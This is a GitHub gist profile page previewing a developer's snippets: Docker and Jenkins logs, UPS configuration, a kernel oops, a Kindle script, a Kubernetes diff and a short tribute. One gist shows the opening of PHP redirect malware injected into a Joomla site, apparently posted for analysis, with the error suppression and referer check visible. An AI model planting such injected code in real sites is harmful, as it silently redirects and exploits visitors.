Skip to content

Instantly share code, notes, and snippets.

View kolyshkin's full-sized avatar

Kir Kolyshkin kolyshkin

  • Red Hat
  • Seattle, WA, USA
  • 05:51 (UTC -07:00)
  • X @kolyshkin
View GitHub Profile
@kolyshkin
kolyshkin / gist:5d48beda72cffba440e6
Created August 11, 2015 23:53
Docker 1.8pre on btrfs with RHEL7 kernel
[root@tpad-rh7 btrt]# docker build .
Sending build context to Docker daemon 2.048 kB
Sending build context to Docker daemon
Step 0 : FROM ubuntu:14.04
---> 8251da35e7a7
Step 1 : RUN echo deb http://ppa.launchpad.net/zfs-native/stable/ubuntu trusty main > /etc/apt/sources.list.d/zfs.list
---> Running in 9abf6fdbe269
---> ccd977ffd4f5
Removing intermediate container 9abf6fdbe269
Step 2 : RUN ls -l /etc/apt/sources.list.d/zfs.list; cat /etc/apt/sources.list.d/zfs.list
This briefly explains my setup for a CyberPower CP1500PFCLCD UPS on a CentOS 6 system
/// CONFIGURATION FILES
[root@micros ~]# for f in /etc/ups/*; do echo; echo "### FILE: $f ###"; grep -vE '^#|^$' $f; done
### FILE: /etc/ups/nut.conf ###
MODE=standalone
### FILE: /etc/ups/ups.conf ###
[root@micros ~]# upsc ups
battery.charge: 100
battery.charge.low: 10
battery.charge.warning: 20
battery.mfr.date: CPS
battery.runtime: 6090
battery.runtime.low: 300
battery.type: PbAcid
battery.voltage: 16.0
battery.voltage.nominal: 24
@kolyshkin
kolyshkin / joomla-app.php
Created June 14, 2016 19:45
This is a malicious redirect code injected into a Joomla site. See
<?php
error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(0);
$ref = strtolower(isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'');
if( strlen( $ref ) > 64 ) {
$ref = substr( $ref, 0, 64 );
}
Console Output
Started by user Gordon
Notifying endpoint with url 'http://core-services.dockerproject.org:9090/notification/jenkins'
Obtained Jenkinsfile.docker-ee-pr-s390x from git git@github.com:docker/release-jenkinsfiles
[Pipeline] parallel
[Pipeline] [init] { (Branch: init)
[Pipeline] [init] stage
[Pipeline] [init] { (src)
[Pipeline] [init] node
I have known Marc mostly from his professional side, as he was a prominent user of the open source
software I was in charge of (OpenVZ). We met in San Francisco for the LinuxWorld conference 2007,
where Marc volunteered to help with the booth. I came from Russia, and since he's local, he brought
some stuff -- a monitor, power strips, etc. After the conference he took a day to show me around --
the ocean, the redwood forest (we took a one hour hike, and he introduced the Church of Reality).
We we talked through the whole day, not just about software.
We have been in contact since, mostly professionally, he wrote a couple of articles for OpenVZ.
Despite that, I always thought of Marc as a friend rather than a colleague. For me, he is also
a prominent example of an American free thinker -- someone who is not tied to any ideology
# dmesg
....
[35180.792125] ------------[ cut here ]------------
[35180.792127] kernel BUG at /build/linux-3btXxq/linux-4.15.0/fs/aufs/dynop.c:207!
[35180.795621] invalid opcode: 0000 [#1] SMP PTI
[35180.797690] Modules linked in: veth ipt_MASQUERADE nf_nat_masquerade_ipv4 nf_conntrack_netlink nfnetlink xfrm_user xfrm_algo iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 xt_addrtype iptable_filter xt_conntrack nf_nat nf_conntrack br_netfilter bridge stp llc aufs overlay nls_iso8859_1 kvm_intel kvm irqbypass crct10dif_pclmul crc32_pclmul ghash_clmulni_intel input_leds joydev serio_raw sch_fq_codel ib_iser rdma_cm iw_cm ib_cm ib_core iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi ip_tables x_tables autofs4 btrfs zstd_compress raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq libcrc32c raid1 raid0 multipath linear aesni_intel aes_x86_64 virtio_blk crypto_simd virtio_net cryptd glue_helper psmouse virtio_scsi floppy
[35180.832904] CPU: 2 PID: 18881 Comm: dockerd
#!/bin/bash
#set -o pipefail
set -u
set -e
# See https://www.amazon.com/sendtokindle
FROM="me@my_sender_email"
TO="my1@kindle.com my2@kindle.com"
is_mobi() {
diff --git a/pkg/kubelet/cm/cgroup_manager_linux.go b/pkg/kubelet/cm/cgroup_manager_linux.go
index 23830a09e74..237a8807184 100644
--- a/pkg/kubelet/cm/cgroup_manager_linux.go
+++ b/pkg/kubelet/cm/cgroup_manager_linux.go
@@ -28,6 +28,7 @@ import (
"time"
libcontainercgroups "github.com/opencontainers/runc/libcontainer/cgroups"
+ libcontainercgroupv1 "github.com/opencontainers/runc/libcontainer/cgroups/cgroupv1"
cgroupfs "github.com/opencontainers/runc/libcontainer/cgroups/fs"
func BenchmarkApplyDestroy(b *testing.B) {
requireV1(b)
cg := &configs.Cgroup{
Name: "system-runc_test_freeze_1.slice",
Parent: "system.slice",
Resources: &configs.Resources{
SkipDevices: true,
},
}